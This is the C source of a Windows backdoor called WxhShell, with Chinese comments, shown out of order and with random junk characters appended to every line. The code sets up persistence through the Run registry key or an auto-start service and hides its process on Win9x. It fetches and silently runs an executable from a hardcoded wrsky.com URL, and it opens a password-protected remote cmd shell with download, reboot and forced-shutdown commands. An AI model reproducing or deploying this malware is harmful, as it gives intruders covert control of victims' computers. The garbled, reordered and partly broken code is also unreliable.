    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 71G\b|5  
    if(Boot(SHUTDOWN)) yn|U<Hxl~H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,;)_$%bHc  
    else { 4,.[B7irR  
    closesocket(wsh); ~nRbb;M  
    ExitThread(0); J936o3F_  
    } qZYh^\  
    break; l5FKw;=K}:  
    } j^m x,  
  // 获取shell n+D93d9LP  
  case 's': { R 6 -RH7.  
    CmdShell(wsh); cCv@f ks  
    closesocket(wsh); mGh8/Xt  
    ExitThread(0); |-`-zo4z  
    break; #n.XOet<\  
  } -+fW/Uo  
  // 退出 ,m[#<}xXA  
  case 'x': { ?wpl 88z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .f9&.H#  
    CloseIt(wsh); J[al4e^  
    break; IVso/!   
    } {sF;R.P&r  
  // 离开 gB])@O%/  
  case 'q': {  L0>7v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YQ`88 z  
    closesocket(wsh); t/J|<Ooj?  
    WSACleanup(); +[7 DRT:  
    exit(1); jqQGn"!  
    break; 7`HKa@  
        } bKQ_{cR  
  } d,E2l~s  
  } #B5-3CwB  
IgEVz^W?h  
  // 提示信息 / >O.U?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _-z;  
} Dop,_94G  
  } 4F,RlKHBl  
Nt~G  {m  
  return; $|VD+[jSV  
} <;hy-Q()D  
S{UEV7d:n0  
// shell模块句柄 <,Fj}T-  
int CmdShell(SOCKET sock) ]EEac  
{ &J,&>CFc  
STARTUPINFO si; 8YO` TgW  
ZeroMemory(&si,sizeof(si)); +[Q`I*C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VTn6@z_ x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aV G4D f  
PROCESS_INFORMATION ProcessInfo; :YNXS;>)!  
char cmdline[]="cmd"; :@J.!dokF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eKL3Y_5p@  
  return 0; z&Lcl{<MA  
} 6='x}Qb\H  
#)( D_*  
// 自身启动模式 pxHJX2  
int StartFromService(void) 9^^:Y3j  
{ vS G vv43G  
typedef struct EGK7)O'W  
{ !Q5NV4gd+  
  DWORD ExitStatus; ?$0t @E  
  DWORD PebBaseAddress; [?nM)4d  
  DWORD AffinityMask; y(*#0fJrTV  
  DWORD BasePriority; w}r~Wk^dLI  
  ULONG UniqueProcessId; fm&pxQjg  
  ULONG InheritedFromUniqueProcessId; 6tv-PgZ  
}   PROCESS_BASIC_INFORMATION; m! _*Q  
FFpG>+*3  
PROCNTQSIP NtQueryInformationProcess; KIYs[0*k  
o 6A1;e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /'Q2TLy=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4$_:a?9  
HAc1w]{(  
  HANDLE             hProcess; [WW ~SOJe  
  PROCESS_BASIC_INFORMATION pbi; w^8i!jCy  
B):hm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DBk]2W|i  
  if(NULL == hInst ) return 0; j/uu&\e  
5;q{9wvqO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #0'%51Jcl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  :C9vs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J ` KyS  
c!dc`R  
  if (!NtQueryInformationProcess) return 0; xDEjeM G  
a+P Vi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B`wrr8"Rz  
  if(!hProcess) return 0; %2^wyVkq:  
 95l)w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sgq?r-Q.  
vfloha p  
  CloseHandle(hProcess); YG J)_y  
u?I2|}#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JUd Q Q  
if(hProcess==NULL) return 0; 9s&Tv&%VN  
d34BJ<  
HMODULE hMod; 3V%ts7:a  
char procName[255]; 2./;i>H[u  
unsigned long cbNeeded; &AP`k  
"r[Ob]/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *=zv:!  
W(\ ^6S)  
  CloseHandle(hProcess); {.o@XP,.  
\@m^w"Ij  
if(strstr(procName,"services")) return 1; // 以服务启动 B/Z-Cpz]  
2(H-q(  
  return 0; // 注册表启动 ]Gf`nJDV  
} QJ2D C  
Kjt\A]R%  
// 主模块 hO; XJyv  
int StartWxhshell(LPSTR lpCmdLine) ' wni.E&  
{ -_ <z_IL\%  
  SOCKET wsl; %uDH_J|^  
BOOL val=TRUE; Mh~E ]8b  
  int port=0; hGJANA  
  struct sockaddr_in door; il% u)NN  
IR|#]en  
  if(wscfg.ws_autoins) Install(); CaR-Yk   
W_lXY Z<  
port=atoi(lpCmdLine); DB3qf>@?  
(nAL;:$x2  
if(port<=0) port=wscfg.ws_port; ZdgzPs"  
J?C:@Q  
  WSADATA data; iF Zqoz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |=AaGJx  
GA;h7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?NR&3 q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m UUNR,  
  door.sin_family = AF_INET;  zPN:)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )6(|A$~C+  
  door.sin_port = htons(port); yM Xf&$C  
:l&Yq!5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bvS6xU- J  
closesocket(wsl); sE&1ZJ]7  
return 1;  hLj7i?  
} _!,Ees=b  
Whe-()pG{  
  if(listen(wsl,2) == INVALID_SOCKET) { 9BAvE\o0  
closesocket(wsl); /36gf  
return 1; -iL:D<!Cb_  
} ;GIA`=a %  
  Wxhshell(wsl); aYn5AP'PH  
  WSACleanup(); Q-z `rW  
2M=h:::W  
return 0; 4AMe>s  
Cz &3=),G  
} G"w [>m  
mm;sf  
// 以NT服务方式启动 &gKDw!al  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F?[1 m2  
{ '6; {DX  
DWORD   status = 0; o (4gh1b%  
  DWORD   specificError = 0xfffffff; ^`k;~4'd  
p6V#!5Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I]hjv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *jvP4Nz)k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V0BT./ B\<  
  serviceStatus.dwWin32ExitCode     = 0; 8i5S }  
  serviceStatus.dwServiceSpecificExitCode = 0; KIp^| k7>  
  serviceStatus.dwCheckPoint       = 0; fp*6Dv_  
  serviceStatus.dwWaitHint       = 0; D<|$ZuB4  
eL~3CAV{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %P D}VF/Y  
  if (hServiceStatusHandle==0) return; d%.|MAE  
*CPpU|  
status = GetLastError(); ?|98Y"w  
  if (status!=NO_ERROR) y0`; br\X  
{ a"X h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DP0@x+`k  
    serviceStatus.dwCheckPoint       = 0; @HPr;m!  
    serviceStatus.dwWaitHint       = 0; W@ &a  
    serviceStatus.dwWin32ExitCode     = status; m#8(l{3|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^2);*X>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QkC*om'/!  
    return; W=3#oX.GsU  
  } -gm5E qi  
^ghYi|kQq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S3l^h4  
  serviceStatus.dwCheckPoint       = 0; #:+F  
  serviceStatus.dwWaitHint       = 0; df$.gP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `g3AM%3  
} !Ve0:$  
q&J5(9]O|L  
// 处理NT服务事件,比如:启动、停止 _dRB=bl"O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pZ}B/j  
{ n1{[CCee@  
switch(fdwControl) i@.Tv.NZ  
{ 8toOdh  
case SERVICE_CONTROL_STOP: sv?Fx;d  
  serviceStatus.dwWin32ExitCode = 0; HE-5e): k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ak,JPz T  
  serviceStatus.dwCheckPoint   = 0; a#"orc j  
  serviceStatus.dwWaitHint     = 0; '~Cn+xf4]  
  { |T@SlNi]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |=*)a2  
  } M:GpyE%  
  return; nj:w1E/R  
case SERVICE_CONTROL_PAUSE: "3\y~<8%'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )~)l^0X  
  break; nH&z4-1Y?  
case SERVICE_CONTROL_CONTINUE: NLY=o@<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lc5zu7ncg  
  break; &Ap9h# dK  
case SERVICE_CONTROL_INTERROGATE: Vy I\Jmr  
  break; bsDA&~)s  
}; ((+XzV>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r'jUB^E  
} &>C+5`bg  
"WuUMt  
// 标准应用程序主函数 mjWU0.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y|Q(JX  
{ E`I(x&_  
n)"JMzjQ<  
// 获取操作系统版本 7)V"E-6h  
OsIsNt=GetOsVer(); 'I&0$<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F5RL+rU(h  
T>'O[=UWh  
  // 从命令行安装 ,wes*  
  if(strpbrk(lpCmdLine,"iI")) Install(); #55:qc>m  
4qp|g'uXT  
  // 下载执行文件 G(.G>8pf  
if(wscfg.ws_downexe) { Y4 HN1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c>K]$;}  
  WinExec(wscfg.ws_filenam,SW_HIDE); OQ hQ!6  
} T2S_> #."l  
PXYLL X\3  
if(!OsIsNt) { 'z5jnI  
// 如果时win9x,隐藏进程并且设置为注册表启动  e|!'  
HideProc(); S xJ&5q  
StartWxhshell(lpCmdLine); G~8BND[."  
} )g dLb}  
else zUL,~u  
  if(StartFromService()) QF/_?Tm4  
  // 以服务方式启动 Hs'~) T  
  StartServiceCtrlDispatcher(DispatchTable); n H?6o#]N  
else \hgd&H0UU  
  // 普通方式启动 P0}{xq'k9v  
  StartWxhshell(lpCmdLine); =yZq]g6Q  
Zh;wQCDj  
return 0; }W8A1-UF  
} B6 (\1  
#4O4,F>e  
"H[K3  
Sp5:R75vI  
=========================================== 5m 0\ls\  
1#6emMV.`  
H?];8wq$G  
d,Aa8I  
L? DlR hu  
9=ygkPY  
" $ ubU"  
IU"  
#include <stdio.h> MGm*({%  
#include <string.h> )1 T2u  
#include <windows.h> ]}! @'+=  
#include <winsock2.h> iVn4eLK^v  
#include <winsvc.h> JkJ @bh Eu  
#include <urlmon.h> \L(cFjLIl  
|qn 2b=  
#pragma comment (lib, "Ws2_32.lib") W:]2T p  
#pragma comment (lib, "urlmon.lib") e9{0hw7  
dgpE3 37Lt  
#define MAX_USER   100 // 最大客户端连接数 !2KQi=Ng  
#define BUF_SOCK   200 // sock buffer ~dr,;NhOLJ  
#define KEY_BUFF   255 // 输入 buffer n8<?<-2  
[[IMf-]  
#define REBOOT     0   // 重启 Pl/ dUt_  
#define SHUTDOWN   1   // 关机 c EYHB1*cT  
Gn8 sB  
#define DEF_PORT   5000 // 监听端口 _GG\SWm  
9Vm1q!lE  
#define REG_LEN     16   // 注册表键长度 !6'N-b1  
#define SVC_LEN     80   // NT服务名长度 Dhn7N8(LF!  
nUP, Yd  
// 从dll定义API d=xjLbsZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _J!^iJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h5'hP>b#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^1.*NG8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m}wn+R  
T06(Q[)  
// wxhshell配置信息 Q 84t=  
struct WSCFG { (p%|F`  
  int ws_port;         // 监听端口 pz /[ ${X  
  char ws_passstr[REG_LEN]; // 口令 7?=^0?a  
  int ws_autoins;       // 安装标记, 1=yes 0=no XG.[C>  
  char ws_regname[REG_LEN]; // 注册表键名 V+"%BrM  
  char ws_svcname[REG_LEN]; // 服务名 '%rT]u3U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pr#%VM[':R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WT ;2aS:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SUUNC06V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o4kLgY !Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &" t~d}Rg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w. k9{f  
t<##0#xS.  
}; FYYc+6n  
T%eBgseS  
// default Wxhshell configuration JI-i7P  
struct WSCFG wscfg={DEF_PORT, cpjwc@UMe  
    "xuhuanlingzhe", H:c5 q0O^x  
    1, 9i5?J]o^  
    "Wxhshell", (lM,'  
    "Wxhshell", X 61|:E  
            "WxhShell Service", 9S|sTf  
    "Wrsky Windows CmdShell Service", \ZLi Y  
    "Please Input Your Password: ", :0l+x 0l}  
  1, *2X~NJCt  
  "http://www.wrsky.com/wxhshell.exe", 3 ,>M-F  
  "Wxhshell.exe" $os]$5(  
    }; ;Sivu-%  
%1Q:{m  
// 消息定义模块 0A) 0Zw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /^.S nqk  
char *msg_ws_prompt="\n\r? for help\n\r#>";  8${n}}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;-Yvi,sS+  
char *msg_ws_ext="\n\rExit."; TWpw/osW  
char *msg_ws_end="\n\rQuit."; !{jw!bB  
char *msg_ws_boot="\n\rReboot..."; [Y](Y3/.N  
char *msg_ws_poff="\n\rShutdown..."; )*BZo>"  
char *msg_ws_down="\n\rSave to "; @JbxGi  
eG,x\  
char *msg_ws_err="\n\rErr!"; C(XV YND3  
char *msg_ws_ok="\n\rOK!"; t<Acq07  
e3 v^j$  
char ExeFile[MAX_PATH]; 72s qt5C]  
int nUser = 0; 2o?j{K  
HANDLE handles[MAX_USER]; U80=f2  
int OsIsNt; ,j*9)  
i=Qy?aU?  
SERVICE_STATUS       serviceStatus; '8;bc@cE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |_TiF ;^  
))=6g@(  
// 函数声明 eC!=4_lx)  
int Install(void); q%4X1 W  
int Uninstall(void); S.!,qv z  
int DownloadFile(char *sURL, SOCKET wsh); .2E/(VM  
int Boot(int flag); 0zH-g  
void HideProc(void); R2Tt6  
int GetOsVer(void); ^!\1q<@n  
int Wxhshell(SOCKET wsl); #"UO`2~`l  
void TalkWithClient(void *cs); ;mU;+~YE  
int CmdShell(SOCKET sock); EVqW(|Xg  
int StartFromService(void); h< r(:.%!}  
int StartWxhshell(LPSTR lpCmdLine); A'jvm@DvQI  
`"=>lu2H   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I<D#   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K ";Et  
;g!rc#z2g  
// 数据结构和表定义 "A}sD7xy9  
SERVICE_TABLE_ENTRY DispatchTable[] = '.bf88D  
{ TTVmm{6  
{wscfg.ws_svcname, NTServiceMain}, L(;$(k-/(  
{NULL, NULL} +c~&o83[  
}; ]:gW+6w"C  
x:FZEyalG  
// 自我安装 w#b@6d  
int Install(void) zQyI4RHG[  
{ x &R9m,  
  char svExeFile[MAX_PATH]; QR&e~rks  
  HKEY key; _^BA;S @  
  strcpy(svExeFile,ExeFile); ^K<3_D>1>  
"/zgh  
// 如果是win9x系统,修改注册表设为自启动 b{<?E };%  
if(!OsIsNt) { YCDH0M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SI!A?34  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T aS1%(  
  RegCloseKey(key); KkCGL*]K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |cU75 S1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C<D$Y,[w  
  RegCloseKey(key); o`iA&  
  return 0; ,\6Vb*G|E>  
    } 712nD ?>  
  } G`FYEmD  
} I}_}VSG(  
else { BY~Tc5  
vIRT$W' O}  
// 如果是NT以上系统,安装为系统服务 r:bJU1P1$s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qofAA!3z  
if (schSCManager!=0) Z5v dH5?!r  
{ vxmX5.  
  SC_HANDLE schService = CreateService -0^]:  
  ( g=t`3X#d  
  schSCManager, v'i'I/  
  wscfg.ws_svcname, )h}IZSm  
  wscfg.ws_svcdisp, *S}@DoXS  
  SERVICE_ALL_ACCESS, $Lp [i <O]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WutPy_L<  
  SERVICE_AUTO_START, 6nL^"3@S!  
  SERVICE_ERROR_NORMAL, 9rMO=  
  svExeFile, ^VXhv9\>B  
  NULL, +*8su5:[&@  
  NULL, EX8+3>)  
  NULL, ii?T:T@  
  NULL, @5^&&4>N  
  NULL ^)-[g  
  ); T`E0_ZU;  
  if (schService!=0) ,m{R m0  
  { i% 1UUI(W  
  CloseServiceHandle(schService); {32m&a  
  CloseServiceHandle(schSCManager); bG]0|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1d< b\P0  
  strcat(svExeFile,wscfg.ws_svcname); 7 FE36Ub9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N (4H}2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~2Wus8X-  
  RegCloseKey(key); %+l95Dv1  
  return 0; EnWv9I<  
    } ~z:]rgX  
  } +0&^.N  
  CloseServiceHandle(schSCManager); T]%-Ri  
} Y!L-5|G  
} t1hQ0B  
E:K4k <  
return 1; $9X+dvu*  
} 6.)ug7aF  
1D 'r;`z  
// 自我卸载 8{ZTHY -  
int Uninstall(void)  @/s|<*  
{ #^L&H oo6  
  HKEY key; ^s{Ff+]W  
0#WN2f, <:  
if(!OsIsNt) { ?b+Y])SJK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~P'.R.e  
  RegDeleteValue(key,wscfg.ws_regname); 4gen,^Ij  
  RegCloseKey(key); ^.6yzlY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )g'J'_Sl  
  RegDeleteValue(key,wscfg.ws_regname); 8JY0]G6  
  RegCloseKey(key); )NZH{G  
  return 0; v Z9OJrF  
  } +;~N; BT  
} "s0,9; }  
} (vG*)a  
else { 46g0 e  
'JOCL0FP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gO8d2?Oh  
if (schSCManager!=0) BzfR8mD  
{ BaQyn 6B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E4% -*n  
  if (schService!=0) 1%v6d !  
  { H0s*Lb  
  if(DeleteService(schService)!=0) { %'1iT!g8  
  CloseServiceHandle(schService); KVOV<uDCj  
  CloseServiceHandle(schSCManager); m#UQ,EM  
  return 0; Pdf-2 Tx  
  } ~LuGfPO^  
  CloseServiceHandle(schService); 6=/sEzS'  
  } J3mLjYy  
  CloseServiceHandle(schSCManager); J]U_A/f  
} <mFDC?j  
} m+!.H\  
J!l/.:`6  
return 1; N)"8CvQL  
} n0lOq  
v/ N[)<  
// 从指定url下载文件 Ro]Z9C>1o  
int DownloadFile(char *sURL, SOCKET wsh) `-{l$Hn9|~  
{ ;8^k=8  
  HRESULT hr; H1c8]}  
char seps[]= "/"; R$awo/'^  
char *token; i3 eF_  
char *file; _-C/s p^   
char myURL[MAX_PATH]; G*4I;'6  
char myFILE[MAX_PATH]; c K\   
x eFx!$3  
strcpy(myURL,sURL); ee? d ?:L  
  token=strtok(myURL,seps); >8"(go+02  
  while(token!=NULL) FygNWI'  
  { >pp/4Ia!  
    file=token; tM]Gu?6  
  token=strtok(NULL,seps); 0;l~B  
  } h}a}HabA  
m FTuqujO  
GetCurrentDirectory(MAX_PATH,myFILE); iF+:j8 b  
strcat(myFILE, "\\"); g8.z?Ia#5Z  
strcat(myFILE, file); IB&G#2M<  
  send(wsh,myFILE,strlen(myFILE),0); /ugWl99.W  
send(wsh,"...",3,0); 8|zavH#P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n$C- ^3 c  
  if(hr==S_OK) nook/7]  
return 0; :k_&Zd j,B  
else C~T ,[U  
return 1; x6,ozun  
S'!&,Dxq^  
} \(pwHNSafk  
> '=QBW  
// 系统电源模块 ];k!*lR)  
int Boot(int flag) )zxb]Pg+  
{ L(yUS)O  
  HANDLE hToken; MAYb.>X#>  
  TOKEN_PRIVILEGES tkp; 8n5~K.;<  
}B'-*)^|e{  
  if(OsIsNt) { :"Xnu%1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [QxP9EC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #A5X ,-4G  
    tkp.PrivilegeCount = 1; UE^o}Eyg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =Q<VU/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aM $2lR])J  
if(flag==REBOOT) { ')v,<{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +UDt2  
  return 0; {`D]%eRO  
} ~Y`ys[Z m  
else { Ibz9j uY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yo[Sh6r/9b  
  return 0; |^-D&C(Eu  
} y!1X3X,V  
  } Jpduk&u  
  else { b3%x&H<j  
if(flag==REBOOT) { MZ}0.KmaZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T */I4"  
  return 0; r{.pXf  
} JxinfWk  
else { {?:]'c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;\w3IAa|V  
  return 0;  b+a+OI D  
} k{mBG9[z  
} 3*I\#Z4p1  
^gcB+  
return 1; bdWdvd:  
} xF{%@t  
_h<rVcl!wX  
// win9x进程隐藏模块 KNmU2-%l  
void HideProc(void) m+XHFU  
{ 4vbGXb}!  
lOcFF0'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8?82 p  
  if ( hKernel != NULL ) HK :K~h  
  { lPR^~&/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KS8@A/f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i@+m<YS:2>  
    FreeLibrary(hKernel); )tBz=hy#  
  } </;e$fh`  
.hH_1Mo8  
return; l1T`[2  
} Y0g]-B  
oIO@#   
// 获取操作系统版本 b\JU%89  
int GetOsVer(void) F?'  
{ .bY>++CAPA  
  OSVERSIONINFO winfo; vQCb?+X&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /%;J1 {O  
  GetVersionEx(&winfo); BeFyx"NBg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bhpaC8|  
  return 1; iN8[^,2H|  
  else ZY8.p  
  return 0; )!0}<_2  
} 'a0M.*f}G  
,iYhD-"'  
// 客户端句柄模块 >rlUV"8jY;  
int Wxhshell(SOCKET wsl) ynw(wSH=  
{ =)Hu(;Yv  
  SOCKET wsh; nam]eW  
  struct sockaddr_in client; +- qk\sQ  
  DWORD myID; ez32k[eV!  
,oH\rrglf  
  while(nUser<MAX_USER) $B?8\>_?  
{ EeMKo  
  int nSize=sizeof(client); =7e!'cF[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ze>R@rK  
  if(wsh==INVALID_SOCKET) return 1; P Ptmh. }e  
|a03S Zx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +JYb)rn$^  
if(handles[nUser]==0) tRI<K  
  closesocket(wsh); "y~*1kBu  
else q`mxN!1[  
  nUser++; sDBSc:5+e  
  } ~8&->?{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ! 7V>gWhR  
H_@6!R2  
  return 0; DNZ,rL:h  
} b4wT3  
445JOP  
// 关闭 socket m19\H  
void CloseIt(SOCKET wsh) oH17!$Fly  
{ 2p9^ =  
closesocket(wsh); Y7+c/co  
nUser--; .f0qgmIyL  
ExitThread(0); hpXW t Q  
} |_ED*ATR=  
??aO3Vm{  
// 客户端请求句柄 z&0[F`U  
void TalkWithClient(void *cs) &Ih }"  
{ <_8b AO8\  
)SP"V~^Wn  
  SOCKET wsh=(SOCKET)cs; 'y!qrmMRr  
  char pwd[SVC_LEN]; 5|0/$ SWd*  
  char cmd[KEY_BUFF]; 6p }a!  
char chr[1]; +x{o  
int i,j; > }f!. i  
o]tfvGvU*  
  while (nUser < MAX_USER) { ,{G\-(\  
vTFG*\Cq  
if(wscfg.ws_passstr) { F&uiI;+zJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e46`"}r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |pZ7k#%  
  //ZeroMemory(pwd,KEY_BUFF); ]8wm1_qV  
      i=0; PeIi@0vA  
  while(i<SVC_LEN) { Lk]|;F-2i  
9h+Hd&=  
  // 设置超时 ,j>FC j>  
  fd_set FdRead; @7"n X  
  struct timeval TimeOut; 9=$ pV==  
  FD_ZERO(&FdRead); JAKs [@:  
  FD_SET(wsh,&FdRead); 3mofp`e  
  TimeOut.tv_sec=8; 5\zR>Tg".  
  TimeOut.tv_usec=0; (M|DNDM'd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q?T+^J   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (KN",u6F  
jNx{*2._r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $k )K}U  
  pwd=chr[0]; kF'9@*?J  
  if(chr[0]==0xd || chr[0]==0xa) { qbSI98r w  
  pwd=0; g$C]ln>"9m  
  break; +d LUq2  
  } ShVR{gIs  
  i++; Wn6m$=  
    } ]r!|@AWrQ\  
bBML +0a  
  // 如果是非法用户,关闭 socket E> pr})^w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z] r9lC  
} HOu$14g  
h #gI1(uL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +C;;4s)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [4C_iaE  
2k=|p@V n~  
while(1) { Has}oe[  
^L.I9a#]  
  ZeroMemory(cmd,KEY_BUFF); 2HVqJib4Yn  
03)irq%l;  
      // 自动支持客户端 telnet标准   rD$5]%Y  
  j=0; Zs}h>$E5_B  
  while(j<KEY_BUFF) { |1 qrU(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !XjZt  
  cmd[j]=chr[0]; <t!0{FJ  
  if(chr[0]==0xa || chr[0]==0xd) { %"c;kvw  
  cmd[j]=0; L'$\[~Ug  
  break; yj'lHC  
  } > .}G[C  
  j++; X} V]3  
    } ~0024B[G  
 Q'cWqr  
  // 下载文件 x])j]k  
  if(strstr(cmd,"http://")) { uL7}JQ,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gA_oJW4_  
  if(DownloadFile(cmd,wsh)) 82r{V:NCK)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7~4`D c6U  
  else %.Btf3y~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*KDZ+{)  
  } _}j>  
  else { @G#`uoD  
RB*z."  
    switch(cmd[0]) { R~A))4<%%  
  ":T"Y;  
  // 帮助 MY\mo,#  
